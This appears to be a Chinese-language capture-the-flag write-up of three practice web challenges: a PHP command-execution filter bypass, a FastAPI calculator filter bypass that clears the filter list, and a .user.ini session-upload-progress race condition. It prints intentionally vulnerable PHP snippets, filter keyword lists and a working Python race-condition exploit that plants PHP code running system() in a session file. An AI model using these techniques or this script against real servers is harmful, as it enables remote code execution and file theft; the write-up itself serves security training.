前言 :练习题目,康复训练
原谅4
<?php isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__);
题目给了这一段代码,但是经过测试,只有ls、rm、sh这三个命令能用
flag在根目录,没有直接读取文件的命令
但是这个sh命令是可以执行文件中的命令的,类似于下图
当文件中的命令不能被正常执行时候,会抛出command not found的错误
可以使用linux中的重定向错误输出,具体可见下文
重定向之后,错误输出就变成了标准输出,浏览器可以正常显示,于是预期解如下
由于只是限制了/bin目录下的二进制文件,但是在其他目录下还可能存在其他的命令文件,就存在了非预期,比如说在/usr/local/bin下存在php文件,可以用这个
尝试直接包含/flag
原谅5_fastapi2
fastapi存在一个docs接口可以进行交互操作
题目给出提示过滤
['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr']
使用list查看calc的全局变量如下
在youdontknow里面存在有过滤的单词和字符
这里可以尝试消去youdontknow里的所有属性
传入youdontknow.clear()命令之后,再进行list查看全局变量,可以发现waf被覆盖了
最后使用open read文件操作读取根目录下的flag
原谅6_web3
<?php
error_reporting(0);
highlight_file(__FILE__);
include('waf.php');
$file = $_GET['file'] ?? NULL;
$content = $_POST['content'] ?? NULL;
(waf_file($file)&&waf_content($content))?(file_put_contents($file,$content)):NULL;
对于输入的文件参数有过滤,这道题考察的是修改.user.ini来进行session文件包含
但是默认uploadclearup是on,那么上传之后就会立即清空,不过存在条件竞争可能性
根据上文中的脚本进行简单修改
import io
import requests
import threading
sessid = 'hyh'
url='http://518a31e6-f1c8-4991-ab71-8a1573952207.challenge.ctf.show/'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( url, data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat ./flag.php');?>"}, files={'file': ('hyh.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.get(url + "index.php")
if "upload_progress" in resp.text:
print(resp.text)
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
hyh={
"content": "auto_prepend_file=/tmp/sess_" + sessid
}//先写入.user.ini文件
session.post(url + "?file=.user.ini", data=hyh)
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
自动包含sess文件之后会对所有文件生效,同时再访问index.php或者waf.php即可看到被包含的flag
fastapi2 for 阿狸
过滤名单['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr', '%', '_', 'flag','in', '-', 'mro', '[', ']']
额没什么好说的,跟上面那个一样